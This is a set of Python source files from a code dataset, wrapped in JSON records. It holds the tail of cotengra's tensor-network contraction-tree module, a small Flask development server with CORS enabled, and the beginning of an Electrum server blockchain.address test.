node_from_single(l2),\n **cand[\"map\"],\n },\n \"spine\": cand[\"spine\"] | {l1, l2},\n }\n )\n\n return tuple(c[\"map\"] for c in candidates)\n\n def compute_centralities(self, combine=\"mean\"):\n \"\"\"Compute a centrality for every node in this contraction tree.\"\"\"\n hg = self.get_hypergraph(accel=\"auto\")\n cents = hg.simple_centrality()\n\n for i, leaf in enumerate(self.gen_leaves()):\n self.info[leaf][\"centrality\"] = cents[i]\n\n combine = {\n \"mean\": lambda x, y: (x + y) / 2,\n \"sum\": lambda x, y: (x + y),\n \"max\": max,\n \"min\": min,\n }.get(combine, combine)\n\n for p, l, r in self.traverse(\"dfs\"):\n self.info[p][\"centrality\"] = combine(\n self.info[l][\"centrality\"], self.info[r][\"centrality\"]\n )\n\n def get_hypergraph(self, accel=False):\n \"\"\"Get a hypergraph representing the uncontracted network (i.e. the\n leaves).\n \"\"\"\n return get_hypergraph(self.inputs, self.output, self.size_dict, accel)\n\n def reset_contraction_indices(self):\n \"\"\"Reset all information regarding the explicit contraction indices\n ordering.\n \"\"\"\n # delete all derived information\n for node in self.children:\n for k in (\n \"inds\",\n \"einsum_eq\",\n \"can_dot\",\n \"tensordot_axes\",\n \"tensordot_perm\",\n ):\n self.info[node].pop(k, None)\n\n # invalidate any compiled contractions\n self.contraction_cores.clear()\n\n def sort_contraction_indices(\n self,\n priority=\"flops\",\n make_output_contig=True,\n make_contracted_contig=True,\n reset=True,\n ):\n \"\"\"Set explicit orders for the contraction indices of this self to\n optimize for one of two things: contiguity in contracted ('k') indices,\n or contiguity of left and right output ('m' and 'n') indices.\n\n Parameters\n ----------\n priority : {'flops', 'size', 'root', 'leaves'}, optional\n Which order to process the intermediate nodes in. Later nodes\n re-sort previous nodes so are more likely to keep their ordering.\n E.g. for 'flops' the mostly costly contracton will be process last\n and thus will be guaranteed to have its indices exactly sorted.\n make_output_contig : bool, optional\n When processing a pairwise contraction, sort the parent contraction\n indices so that the order of indices is the order they appear\n from left to right in the two child (input) tensors.\n make_contracted_contig : bool, optional\n When processing a pairwise contraction, sort the child (input)\n tensor indices so that all contracted indices appear contiguously.\n reset : bool, optional\n Reset all indices to the default order before sorting.\n \"\"\"\n if reset:\n self.reset_contraction_indices()\n\n if priority == \"flops\":\n nodes = sorted(\n self.children.items(), key=lambda x: self.get_flops(x[0])\n )\n elif priority == \"size\":\n nodes = sorted(\n self.children.items(), key=lambda x: self.get_size(x[0])\n )\n elif priority == \"root\":\n nodes = ((p, (l, r)) for p, l, r in self.traverse())\n elif priority == \"leaves\":\n nodes = ((p, (l, r)) for p, l, r in self.descend())\n else:\n raise ValueError(priority)\n\n for p, (l, r) in nodes:\n p_inds, l_inds, r_inds = map(self.get_inds, (p, l, r))\n\n if make_output_contig and len(p) != self.N:\n # sort indices by whether they appear in the left or right\n # whether this happens before or after the sort below depends\n # on the order we are processing the nodes\n # (avoid root as don't want to modify output)\n\n def psort(ix):\n # group by whether in left or right input\n return (r_inds.find(ix), l_inds.find(ix))\n\n p_inds = \"\".join(sorted(p_inds, key=psort))\n self.info[p][\"inds\"] = p_inds\n\n if make_contracted_contig:\n # sort indices by:\n # 1. if they are going to be contracted\n # 2. what order they appear in the parent indices\n # (but ignore leaf indices)\n if len(l) != 1:\n\n def lsort(ix):\n return (r_inds.find(ix), p_inds.find(ix))\n\n l_inds = \"\".join(sorted(self.get_legs(l), key=lsort))\n self.info[l][\"inds\"] = l_inds\n\n if len(r) != 1:\n\n def rsort(ix):\n return (p_inds.find(ix), l_inds.find(ix))\n\n r_inds = \"\".join(sorted(self.get_legs(r), key=rsort))\n self.info[r][\"inds\"] = r_inds\n\n # invalidate any compiled contractions\n self.contraction_cores.clear()\n\n def print_contractions(self, sort=None, show_brackets=True):\n \"\"\"Print each pairwise contraction, with colorized indices (if\n `colorama` is installed), and other information.\n \"\"\"\n try:\n from colorama import Fore\n\n RESET = Fore.RESET\n GREY = Fore.WHITE\n PINK = Fore.MAGENTA\n RED = Fore.RED\n BLUE = Fore.BLUE\n GREEN = Fore.GREEN\n except ImportError:\n RESET = GREY = PINK = RED = BLUE = GREEN = \"\"\n\n entries = []\n\n for i, (p, l, r) in enumerate(self.traverse()):\n p_legs, l_legs, r_legs = map(self.get_legs, [p, l, r])\n p_inds, l_inds, r_inds = map(self.get_inds, [p, l, r])\n\n # print sizes and flops\n p_flops = self.get_flops(p)\n p_sz, l_sz, r_sz = (\n math.log2(self.get_size(node)) for node in [p, l, r]\n )\n # print whether tensordottable\n if self.get_can_dot(p):\n type_msg = \"tensordot\"\n perm = self.get_tensordot_perm(p)\n if perm is not None:\n # and whether indices match tensordot\n type_msg += \"+perm\"\n else:\n type_msg = \"einsum\"\n\n pa = \"\".join(\n PINK + f\"({ix})\"\n if (ix in l_legs) and (ix in r_legs)\n else GREEN + f\"({ix})\"\n if ix in r_legs\n else BLUE + ix\n for ix in p_inds\n ).replace(f\"){GREEN}(\", \"\")\n la = \"\".join(\n PINK + f\"[{ix}]\"\n if (ix in p_legs) and (ix in r_legs)\n else RED + f\"[{ix}]\"\n if ix in r_legs\n else BLUE + ix\n for ix in l_inds\n ).replace(f\"]{RED}[\", \"\")\n ra = \"\".join(\n PINK + f\"[{ix}]\"\n if (ix in p_legs) and (ix in l_legs)\n else RED + f\"[{ix}]\"\n if ix in l_legs\n else GREEN + ix\n for ix in r_inds\n ).replace(f\"]{RED}[\", \"\")\n\n entries.append(\n (\n p,\n f\"{GREY}({i}) cost: {RESET}{p_flops:.1e} \"\n f\"{GREY}widths: {RESET}{l_sz:.1f},{r_sz:.1f}->{p_sz:.1f} \"\n f\"{GREY}type: {RESET}{type_msg}\\n\"\n f\"{GREY}inputs: {la},{ra}{RESET}->\\n\"\n f\"{GREY}output: {pa}\\n\",\n )\n )\n\n if sort == \"flops\":\n entries.sort(key=lambda x: self.get_flops(x[0]), reverse=True)\n if sort == \"size\":\n entries.sort(key=lambda x: self.get_size(x[0]), reverse=True)\n\n entries.append((None, f\"{RESET}\"))\n\n o = \"\\n\".join(entry for _, entry in entries)\n print(o)\n\n # --------------------- Performing the Contraction ---------------------- #\n\n def get_contractor(\n self,\n order=None,\n prefer_einsum=False,\n strip_exponent=False,\n implementation=None,\n autojit=False,\n ):\n \"\"\"Get a reusable function which performs the contraction corresponding\n to this tree, cached.\n\n Parameters\n ----------\n tree : ContractionTree\n The contraction tree.\n order : str or callable, optional\n Supplied to :meth:`ContractionTree.traverse`, the order in which\n to perform the pairwise contractions given by the tree.\n prefer_einsum : bool, optional\n Prefer to use ``einsum`` for pairwise contractions, even if\n ``tensordot`` can perform the contraction.\n strip_exponent : bool, optional\n If ``True``, the function will strip the exponent from the output\n array and return it separately.\n implementation : str or tuple[callable, callable], optional\n What library to use to actually perform the contractions. Options\n are:\n\n - None: let cotengra choose.\n - \"autoray\": dispatch with autoray, using the ``tensordot`` and\n ``einsum`` implementation of the backend.\n - \"cotengra\": use the ``tensordot`` and ``einsum`` implementation\n of cotengra, which is based on batch matrix multiplication. This\n is faster for some backends like numpy, and also enables\n libraries which don't yet provide ``tensordot`` and ``einsum`` to\n be used.\n - \"cuquantum\": use the cuquantum library to perform the whole\n contraction (not just individual contractions).\n - tuple[callable, callable]: manually supply the ``tensordot`` and\n ``einsum`` implementations to use.\n\n autojit : bool, optional\n If ``True``, use :func:`autoray.autojit` to compile the contraction\n function.\n\n Returns\n -------\n fn : callable\n The contraction function, with signature ``fn(*arrays)``.\n \"\"\"\n key = (\n autojit,\n order,\n prefer_einsum,\n strip_exponent,\n implementation,\n )\n try:\n fn = self.contraction_cores[key]\n except KeyError:\n fn = self.contraction_cores[key] = make_contractor(\n tree=self,\n order=order,\n prefer_einsum=prefer_einsum,\n strip_exponent=strip_exponent,\n implementation=implementation,\n autojit=autojit,\n )\n\n return fn\n\n def contract_core(\n self,\n arrays,\n order=None,\n prefer_einsum=False,\n strip_exponent=False,\n check_zero=False,\n backend=None,\n implementation=None,\n autojit=False,\n progbar=False,\n ):\n \"\"\"Contract ``arrays`` with this tree. The order of the axes and\n output is assumed to be that of ``tree.inputs`` and ``tree.output``,\n but with sliced indices removed. This functon contracts the core tree\n and thus if indices have been sliced the arrays supplied need to be\n sliced as well.\n\n Parameters\n ----------\n arrays : sequence of array\n The arrays to contract.\n order : str or callable, optional\n Supplied to :meth:`ContractionTree.traverse`.\n prefer_einsum : bool, optional\n Prefer to use ``einsum`` for pairwise contractions, even if\n ``tensordot`` can perform the contraction.\n backend : str, optional\n What library to use for ``einsum`` and ``transpose``, will be\n automatically inferred from the arrays if not given.\n autojit : bool, optional\n Whether to use ``autoray.autojit`` to jit compile the expression.\n progbar : bool, optional\n Show progress through the contraction.\n \"\"\"\n fn = self.get_contractor(\n order=order,\n prefer_einsum=prefer_einsum,\n strip_exponent=strip_exponent is not False,\n implementation=implementation,\n autojit=autojit,\n )\n result = fn(\n *arrays,\n check_zero=check_zero,\n backend=backend,\n progbar=progbar,\n )\n\n # handle exponent outside of potential jit\n if isinstance(strip_exponent, dict):\n result, exponent = result\n if \"exponent\" not in strip_exponent:\n # set the exponent (e.g. first slice)\n strip_exponent[\"exponent\"] = exponent\n else:\n # match the exponent (e.g. subsequent slices)\n target = strip_exponent[\"exponent\"]\n result = result * 10 ** (exponent - target)\n\n return result\n\n def slice_key(self, i, strides=None):\n \"\"\"Get the combination of sliced index values for overall slice ``i``.\n\n Parameters\n ----------\n i : int\n The overall slice index.\n\n Returns\n -------\n key : dict[str, int]\n The value each sliced index takes for slice ``i``.\n \"\"\"\n if strides is None:\n strides = get_slice_strides(self.sliced_inds)\n\n key = {}\n for (ind, info), stride in zip(self.sliced_inds.items(), strides):\n if info.project is None:\n key[ind] = i // stride\n i %= stride\n else:\n # size is 1 and i doesn't change\n key[ind] = info.project\n\n return key\n\n def slice_arrays(self, arrays, i):\n \"\"\"Take ``arrays`` and slice the relevant inputs according to\n ``tree.sliced_inds`` and the dynary representation of ``i``.\n \"\"\"\n temp_arrays = list(arrays)\n\n # e.g. {'a': 2, 'd': 7, 'z': 0}\n locations = self.slice_key(i)\n\n for c in self.sliced_inputs:\n # the indexing object, e.g. [:, :, 7, :, 2, :, :, 0]\n selector = tuple(\n locations.get(ix, slice(None)) for ix in self.inputs[c]\n )\n # re-insert the sliced array\n temp_arrays[c] = temp_arrays[c][selector]\n\n return temp_arrays\n\n def contract_slice(self, arrays, i, **kwargs):\n \"\"\"Get slices ``i`` of ``arrays`` and then contract them.\"\"\"\n return self.contract_core(self.slice_arrays(arrays, i), **kwargs)\n\n def gather_slices(self, slices, backend=None, progbar=False):\n \"\"\"Gather all the output contracted slices into a single full result.\n If none of the sliced indices appear in the output, then this is a\n simple sum - otherwise the slices need to be partially summed and\n partially stacked.\n \"\"\"\n if progbar:\n import tqdm\n\n slices = tqdm.tqdm(slices, total=self.multiplicity)\n\n output_pos = {\n ix: i for i, ix in enumerate(self.output) if ix in self.sliced_inds\n }\n\n if not output_pos:\n # we can just sum everything\n return functools.reduce(operator.add, slices)\n\n # first we sum over non-output sliced indices\n chunks = {}\n for i, s in enumerate(slices):\n key_slice = self.slice_key(i)\n key = tuple(key_slice[ix] for ix in output_pos)\n try:\n chunks[key] = chunks[key] + s\n except KeyError:\n chunks[key] = s\n\n # then we stack these summed chunks over output sliced indices\n def recursively_stack_chunks(loc, rem):\n if not rem:\n return chunks[loc]\n arrays = [\n recursively_stack_chunks(loc + (d,), rem[1:])\n for d in self.sliced_inds[rem[0]].sliced_range\n ]\n axes = output_pos[rem[0]] - len(loc)\n return do(\"stack\", arrays, axes, like=backend)\n\n return recursively_stack_chunks((), tuple(output_pos))\n\n def gen_output_chunks(\n self, arrays, with_key=False, progbar=False, **contract_opts\n ):\n \"\"\"Generate each output chunk of the contraction - i.e. take care of\n summing internally sliced indices only first. This assumes that the\n ``sliced_inds`` are sorted by whether they appear in the output or not\n (the default order). Useful for performing some kind of reduction over\n the final tensor object like ``fn(x).sum()`` without constructing the\n entire thing.\n\n Parameters\n ----------\n arrays : sequence of array\n The arrays to contract.\n with_key : bool, optional\n Whether to yield the output index configuration key along with the\n chunk.\n progbar : bool, optional\n Show progress through the contraction chunks.\n\n Yields\n ------\n chunk : array\n A chunk of the contracted result.\n key : dict[str, int]\n The value each sliced output index takes for this chunk.\n \"\"\"\n # consecutive slices of size ``stepsize`` all belong to the same output\n # block because the sliced indices are sorted output first\n stepsize = prod(\n si.size for si in self.sliced_inds.values() if si.inner\n )\n\n if progbar:\n import tqdm\n\n it = tqdm.trange(self.nslices // stepsize)\n else:\n it = range(self.nslices // stepsize)\n\n for o in it:\n chunk = self.contract_slice(arrays, o * stepsize, **contract_opts)\n\n if with_key:\n output_key = {\n ix: x\n for ix, x in self.slice_key(o * stepsize).items()\n if ix in self.output\n }\n\n for j in range(1, stepsize):\n i = o * stepsize + j\n chunk = chunk + self.contract_slice(arrays, i, **contract_opts)\n\n if with_key:\n yield chunk, output_key\n else:\n yield chunk\n\n def contract(\n self,\n arrays,\n order=None,\n prefer_einsum=False,\n strip_exponent=False,\n check_zero=False,\n backend=None,\n implementation=\"auto\",\n autojit=False,\n progbar=False,\n ):\n \"\"\"Contract ``arrays`` with this tree. This function takes *unsliced*\n arrays and handles the slicing, contractions and gathering. The order\n of the axes and output is assumed to match that of ``tree.inputs`` and\n ``tree.output``.\n\n Parameters\n ----------\n arrays : sequence of array\n The arrays to contract.\n order : str or callable, optional\n Supplied to :meth:`ContractionTree.traverse`.\n prefer_einsum : bool, optional\n Prefer to use ``einsum`` for pairwise contractions, even if\n ``tensordot`` can perform the contraction.\n strip_exponent : bool, optional\n If ``True``, eagerly strip the exponent (in log10) from\n intermediate tensors to control numerical problems from leaving the\n range of the datatype. This method then returns the scaled\n 'mantissa' output array and the exponent separately.\n check_zero : bool, optional\n If ``True``, when ``strip_exponent=True``, explicitly check for\n zero-valued intermediates that would otherwise produce ``nan``,\n instead terminating early if encounteredand returning\n ``(0.0, 0.0)``.\n backend : str, optional\n What library to use for ``tensordot``, ``einsum`` and\n ``transpose``, it will be automatically inferred from the input\n arrays if not given.\n autojit : bool, optional\n Whether to use the 'autojit' feature of `autoray` to compile the\n contraction expression.\n progbar : bool, optional\n Whether to show a progress bar.\n\n Returns\n -------\n output : array\n The contracted output, it will be scaled if\n ``strip_exponent==True``.\n exponent : float\n The exponent of the output in base 10, returned only if\n ``strip_exponent==True``.\n\n See Also\n --------\n contract_core, contract_slice, slice_arrays, gather_slices\n \"\"\"\n if isinstance(self.inputs[0], set) or isinstance(self.output, set):\n warnings.warn(\"The inputs or output of this tree are not ordered.\")\n\n if not self.sliced_inds:\n return self.contract_core(\n arrays,\n order=order,\n prefer_einsum=prefer_einsum,\n strip_exponent=strip_exponent,\n check_zero=check_zero,\n backend=backend,\n implementation=implementation,\n autojit=autojit,\n progbar=progbar,\n )\n\n if strip_exponent:\n # first slice will set the exponent for others to match\n strip_exponent = {}\n\n slices = (\n self.contract_slice(\n arrays,\n i,\n order=order,\n prefer_einsum=prefer_einsum,\n strip_exponent=strip_exponent,\n check_zero=check_zero,\n backend=backend,\n implementation=implementation,\n autojit=autojit,\n )\n for i in range(self.multiplicity)\n )\n\n result = self.gather_slices(slices, backend=backend, progbar=progbar)\n\n if strip_exponent:\n return result, strip_exponent[\"exponent\"]\n\n return result\n\n def contract_mpi(self, arrays, comm=None, root=None, **kwargs):\n \"\"\"Contract the slices of this tree and sum them in parallel -\n *assuming* we are already running under MPI.\n\n Parameters\n ----------\n arrays : sequence of array\n The input (unsliced arrays)\n comm : None or mpi4py communicator\n Defaults to ``mpi4py.MPI.COMM_WORLD`` if not given.\n root : None or int, optional\n If ``root=None``, an ``Allreduce`` will be performed such that\n every process has the resulting tensor, else if an integer e.g.\n ``root=0``, the result will be exclusively gathered to that\n process using ``Reduce``, with every other process returning\n ``None``.\n kwargs\n Supplied to :meth:`~cotengra.ContractionTree.contract_slice`.\n \"\"\"\n if not set(self.sliced_inds).isdisjoint(set(self.output)):\n raise NotImplementedError(\n \"Sliced and output indices overlap - currently only a simple \"\n \"sum of result slices is supported currently.\"\n )\n\n if comm is None:\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n\n if self.multiplicity < comm.size:\n raise ValueError(\n f\"Need to have more slices than MPI processes, but have \"\n f\"{self.multiplicity} and {comm.size} respectively.\"\n )\n\n # round robin compute each slice, eagerly summing\n result_i = None\n for i in range(comm.rank, self.multiplicity, comm.size):\n # note: fortran ordering is needed for the MPI reduce\n x = do(\"asfortranarray\", self.contract_slice(arrays, i, **kwargs))\n if result_i is None:\n result_i = x\n else:\n result_i += x\n\n if root is None:\n # everyone gets the summed result\n result = do(\"empty_like\", result_i)\n comm.Allreduce(result_i, result)\n return result\n\n # else we only sum reduce the result to process ``root``\n if comm.rank == root:\n result = do(\"empty_like\", result_i)\n else:\n result = None\n comm.Reduce(result_i, result, root=root)\n return result\n\n plot_ring = plot_tree_ring\n plot_tent = plot_tree_tent\n plot_span = plot_tree_span\n plot_rubberband = plot_tree_rubberband\n plot_contractions = plot_contractions\n plot_contractions_alt = plot_contractions_alt\n\n @functools.wraps(plot_hypergraph)\n def plot_hypergraph(self, **kwargs):\n hg = self.get_hypergraph(accel=False)\n hg.plot(**kwargs)\n\n def __repr__(self):\n s = \"<{}(N={}, branches={}, complete={})>\"\n return s.format(\n self.__class__.__name__,\n self.N,\n len(self.children),\n self.is_complete(),\n )\n\n\ndef _reconfigure_tree(tree, *args, **kwargs):\n return tree.subtree_reconfigure(*args, **kwargs)\n\n\ndef _slice_and_reconfigure_tree(tree, *args, **kwargs):\n return tree.slice_and_reconfigure(*args, **kwargs)\n\n\ndef _get_tree_info(tree):\n stats = tree.contract_stats()\n stats[\"sliced_ind_set\"] = frozenset(tree.sliced_inds)\n return stats\n\n\ndef _describe_tree(tree):\n stats = tree.contract_stats()\n return (\n f\"log2[SIZE]: {math.log2(stats['size']):.2f} \"\n f\"log10[FLOPs]: {math.log10(stats['flops']):.2f}\"\n )\n\n\nclass ContractionTreeCompressed(ContractionTree):\n \"\"\"A contraction tree for compressed contractions. Currently the only\n difference is that this defaults to the 'surface' traversal ordering.\n \"\"\"\n\n @classmethod\n def from_path(\n cls,\n inputs,\n output,\n size_dict,\n *,\n path=None,\n ssa_path=None,\n check=False,\n **kwargs,\n ):\n \"\"\"Create a (completed) ``ContractionTreeCompressed`` from the usual\n inputs plus a standard contraction path or 'ssa_path' - you need to\n supply one. This also set the default 'surface' traversal ordering to\n be the initial path.\n \"\"\"\n if int(path is None) + int(ssa_path is None) != 1:\n raise ValueError(\n \"Exactly one of ``path`` or ``ssa_path`` must be \" \"supplied.\"\n )\n\n if path is not None:\n from .pathfinders.path_basic import linear_to_ssa\n\n ssa_path = linear_to_ssa(path)\n\n tree = cls(inputs, output, size_dict, **kwargs)\n terms = list(tree.gen_leaves())\n\n for p in ssa_path:\n merge = [terms[i] for i in p]\n terms.append(tree.contract_nodes(merge, check=check))\n\n tree.set_surface_order_from_path(ssa_path)\n\n return tree\n\n def get_default_order(self):\n return \"surface_order\"\n\n total_flops = ContractionTree.total_flops_compressed\n total_write = ContractionTree.total_write_compressed\n total_cost = ContractionTree.total_cost_compressed\n max_size = ContractionTree.max_size_compressed\n peak_size = ContractionTree.peak_size_compressed\n contraction_cost = ContractionTree.contraction_cost_compressed\n contraction_width = ContractionTree.contraction_width_compressed\n\n total_flops_exact = ContractionTree.total_flops\n total_write_exact = ContractionTree.total_write\n total_cost_exact = ContractionTree.total_cost\n max_size_exact = ContractionTree.max_size\n peak_size_exact = ContractionTree.peak_size\n\n def get_contractor(self, *_, **__):\n raise NotImplementedError(\n \"`cotengra` doesn't implement compressed contraction itself. \"\n \"If you want to use compressed contractions, you need to use \"\n \"`quimb` and the `TensorNetwork.contract_compressed` method, \"\n \"with e.g. `optimize=tree.get_path()`.\"\n )\n\n\nclass ContractionTreeMulti(ContractionTree):\n def set_varmults(self, varmults):\n self._varmults = varmults\n\n def get_varmults(self):\n return self._varmults\n\n def set_numconfigs(self, numconfigs):\n self._numconfigs = numconfigs\n\n def get_numconfigs(self):\n return self._numconfigs\n\n\nclass PartitionTreeBuilder:\n \"\"\"Function wrapper that takes a function that partitions graphs and\n uses it to build a contraction tree. ``partition_fn`` should have\n signature:\n\n def partition_fn(inputs, output, size_dict,\n weight_nodes, weight_edges, **kwargs):\n ...\n return membership\n\n Where ``weight_nodes`` and ``weight_edges`` decsribe how to weight the\n nodes and edges of the graph respectively and ``membership`` should be a\n list of integers of length ``len(inputs)`` labelling which partition\n each input node should be put it.\n \"\"\"\n\n def __init__(self, partition_fn):\n self.partition_fn = partition_fn\n\n def build_divide(\n self,\n inputs,\n output,\n size_dict,\n random_strength=0.01,\n cutoff=10,\n parts=2,\n parts_decay=0.5,\n sub_optimize=\"auto\",\n super_optimize=\"auto-hq\",\n check=False,\n **partition_opts,\n ):\n tree = ContractionTree(inputs, output, size_dict, track_childless=True)\n rand_size_dict = jitter_dict(size_dict, random_strength)\n\n dynamic_imbalance = (\"imbalance\" in partition_opts) and (\n \"imbalance_decay\" in partition_opts\n )\n if dynamic_imbalance:\n imbalance = partition_opts.pop(\"imbalance\")\n imbalance_decay = partition_opts.pop(\"imbalance_decay\")\n else:\n imbalance = imbalance_decay = None\n\n dynamic_fix = partition_opts.get(\"fix_output_nodes\", None) == \"auto\"\n\n while tree.childless:\n tree_node = next(iter(tree.childless))\n subgraph = tuple(tree_node)\n subsize = len(subgraph)\n\n # skip straight to better method\n if subsize <= cutoff:\n tree.contract_nodes(\n [node_from_single(x) for x in subgraph],\n optimize=sub_optimize,\n check=check,\n )\n continue\n\n # relative subgraph size\n s = subsize / tree.N\n\n # let the target number of communities depend on subgraph size\n parts_s = max(int(s**parts_decay * parts), 2)\n\n # let the imbalance either rise or fall\n if dynamic_imbalance:\n if imbalance_decay >= 0:\n imbalance_s = s**imbalance_decay * imbalance\n else:\n imbalance_s = 1 - s**-imbalance_decay * (1 - imbalance)\n partition_opts[\"imbalance\"] = imbalance_s\n\n if dynamic_fix:\n # for the top level subtree (s==1.0) we partition the outputs\n # nodes first into their own bi-partition\n parts_s = 2\n partition_opts[\"fix_output_nodes\"] = s == 1.0\n\n # partition! get community membership list e.g.\n # [0, 0, 1, 0, 1, 0, 0, 2, 2, ...]\n inputs = tuple(map(tuple, tree.node_to_terms(subgraph)))\n output = tuple(tree.get_legs(tree_node))\n membership = self.partition_fn(\n inputs,\n output,\n rand_size_dict,\n parts=parts_s,\n **partition_opts,\n )\n\n # divide subgraph up e.g. if we enumerate the subgraph index sets\n # (0, 1, 2, 3, 4, 5, 6, 7, 8, ...) ->\n # ({0, 1, 3, 5, 6}, {2, 4}, {7, 8})\n new_subgs = tuple(\n map(node_from_seq, separate(subgraph, membership))\n )\n\n if len(new_subgs) == 1:\n # no communities found - contract all remaining\n tree.contract_nodes(\n tuple(map(node_from_single, subgraph)),\n optimize=sub_optimize,\n check=check,\n )\n continue\n\n # update tree structure with newly contracted subgraphs\n tree.contract_nodes(\n new_subgs, optimize=super_optimize, check=check\n )\n\n if check:\n assert tree.is_complete()\n\n return tree\n\n def build_agglom(\n self,\n inputs,\n output,\n size_dict,\n random_strength=0.01,\n groupsize=4,\n check=False,\n sub_optimize=\"greedy\",\n **partition_opts,\n ):\n tree = ContractionTree(inputs, output, size_dict, track_childless=True)\n rand_size_dict = jitter_dict(size_dict, random_strength)\n leaves = tuple(tree.gen_leaves())\n for node in leaves:\n tree._add_node(node, check=check)\n output = tuple(tree.output)\n\n while len(leaves) > groupsize:\n parts = max(2, len(leaves) // groupsize)\n\n inputs = [tuple(tree.get_legs(node)) for node in leaves]\n membership = self.partition_fn(\n inputs,\n output,\n rand_size_dict,\n parts=parts,\n **partition_opts,\n )\n leaves = [\n tree.contract_nodes(group, check=check, optimize=sub_optimize)\n for group in separate(leaves, membership)\n ]\n\n if len(leaves) > 1:\n tree.contract_nodes(leaves, check=check, optimize=sub_optimize)\n\n if check:\n assert tree.is_complete()\n\n return tree\n\n def trial_fn(self, inputs, output, size_dict, **partition_opts):\n return self.build_divide(inputs, output, size_dict, **partition_opts)\n\n def trial_fn_agglom(self, inputs, output, size_dict, **partition_opts):\n return self.build_agglom(inputs, output, size_dict, **partition_opts)\n\n\ndef jitter(x, strength):\n return x * (1 + strength * random.expovariate(1.0))\n\n\ndef jitter_dict(d, strength):\n return {k: jitter(v, strength) for k, v in d.items()}\n\n\ndef separate(xs, blocks):\n \"\"\"Partition ``xs`` into ``n`` different list based on the corresponding\n labels in ``blocks``.\n \"\"\"\n sorter = collections.defaultdict(list)\n for x, b in zip(xs, blocks):\n sorter[b].append(x)\n x_b = list(sorter.items())\n x_b.sort()\n return [x[1] for x in x_b]\n","repo_name":"jcmgray/cotengra","sub_path":"cotengra/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":113267,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"81"} +{"seq_id":"39552567906","text":"\"\"\"\nDevelopment Server\n\"\"\"\nfrom flask_cors import CORS\n\nfrom app import app\n\nif __name__ == '__main__':\n cors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\n app.run(\n debug=app.config['DEBUG'],\n host=app.config['LISTEN_HOST_DEV'],\n port=app.config['LISTEN_PORT_DEV']\n )\n","repo_name":"unbyte/we-are-fine","sub_path":"run-development.py","file_name":"run-development.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"21883706238","text":"import random\nimport asyncio\nfrom test_framework.util import waitForAsync, assert_equal, assert_raises_async\nfrom test_framework.test_framework import BitcoinTestFramework\nfrom test_framework.loginit import logging\nfrom test_framework.electrumutil import compare, bitcoind_electrum_args, \\\n address_to_scripthash, sync_electrum_height, ElectrumConnection\nfrom test_framework.nodemessages import COIN, CTransaction, ToHex, CTxIn, COutPoint\nfrom test_framework.connectrum.exc import ElectrumErrorResponse\n\n\nclass ElectrumBlockchainAddress(BitcoinTestFramework):\n \"\"\"\n Basic blockchain.address.* testing, mostly to check that the function\n handle an address correctly. The blockchain.scripthash.* equivalents are\n more thoroughly tested.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self.setup_clean_chain = True\n self.num_nodes = 1\n self.extra_args = [bitcoind_electrum_args()]\n\n def run_test(self):\n n = self.nodes[0]\n\n n.generate(200)\n\n async def async_tests():\n await self.test_get_frist_use(n)\n cli = ElectrumConnection()\n await cli.connect()\n await self.test_invalid_args(cli)\n await self.test_get_balance(n, cli)\n await self.test_get_history(n, cli)\n await self.test_list_unspent(n, cli)\n loop = asyncio.get_event_loop()\n loop.run_until_complete(async_tests())\n\n def setup_network(self, dummy = None):\n self.nodes = self.setup_nodes()\n\n async def test_invalid_args(self, cli):\n from test_framework.connectrum.exc import ElectrumErrorResponse\n error_code = \"-32602\"\n\n hash_param_methods = (\n \"blockchain.address.get_balance\",\n \"blockchain.address.get_history\",\n \"blockchain.address.listunspent\")\n\n for method in hash_param_methods:\n await assert_raises_async(\n ElectrumErrorResponse,\n cli.call,\n method, \"invalidaddress\")\n\n async def test_get_balance(self, n, cli):\n addr = n.getnewaddress()\n balance = 11.42\n txhash = n.sendtoaddress(addr, balance)\n\n async def check_address(address, unconfirmed = 0, confirmed = 0):\n res = await cli.call(\"blockchain.address.get_balance\", addr)\n\n return res[\"unconfirmed\"] == unconfirmed * COIN \\\n and res[\"confirmed\"] == confirmed * COIN\n\n await waitForAsync(10, lambda: check_address(addr, unconfirmed = balance))\n n.generate(1)\n await waitForAsync(10, lambda: check_address(addr, confirmed = balance))\n\n async def sendtoaddr(self, n, cli, addr, amount):\n utxo = n.listunspent().pop()\n inputs = [{\n \"txid\": utxo[\"txid\"],\n \"vout\": utxo[\"vout\"]}]\n outputs = {\n addr: utxo['amount'],\n }\n tx = n.createrawtransaction(inputs, outputs)\n signed = n.signrawtransaction(tx)\n txid = await cli.call(\"blockchain.transaction.broadcast\", signed['hex'])\n return txid\n\n async def test_get_frist_use(self, n):\n cli = ElectrumConnection()\n await cli.connect()\n\n # New address that has never received coins. Should return an error.\n addr = n.getnewaddress()\n await assert_raises_async(\n ElectrumErrorResponse,\n cli.call,\n \"blockchain.address.get_first_use\", addr)\n await assert_raises_async(\n ElectrumErrorResponse,\n cli.call,\n \"blockchain.scripthash.get_first_use\", address_to_scripthash(addr))\n\n # Send coin to the new address\n txid = await self.sendtoaddr(n, cli, addr, 1)\n\n # Wait for electrum server to see the utxo.\n async def wait_for_utxo():\n utxo = await cli.call(\"blockchain.address.listunspent\", addr)\n if len(utxo) == 1:\n return utxo\n return None\n utxo = await waitForAsync(10, wait_for_utxo)\n\n # Observe that get_first_use returns the tx when it's in the mempool\n res = await cli.call(\"blockchain.address.get_first_use\", addr)\n res2 = await cli.call(\"blockchain.scripthash.get_first_use\",\n address_to_scripthash(addr))\n assert_equal(res, res2)\n assert_equal(\n \"0000000000000000000000000000000000000000000000000000000000000000\",\n res['block_hash'])\n assert_equal(0, res['height'])\n assert_equal(txid, res['tx_hash'])\n\n # Confirm tx, observe that block height and gets set.\n n.generate(1)\n sync_electrum_height(n)\n res = await cli.call(\"blockchain.address.get_first_use\", addr)\n res2 = await cli.call(\"blockchain.scripthash.get_first_use\",\n address_to_scripthash(addr))\n assert_equal(res, res2)\n assert_equal(n.getbestblockhash(), res['block_hash'])\n assert_equal(n.getblockcount(), res['height'])\n assert_equal(txid, res['tx_hash'])\n\n # Send another tx, observe that the first one is till returned.\n txid2 = await self.sendtoaddr(n, cli, addr, 2)\n res = await cli.call(\"blockchain.address.get_first_use\", addr)\n assert_equal(txid, res['tx_hash'])\n\n # Also when the second tx is 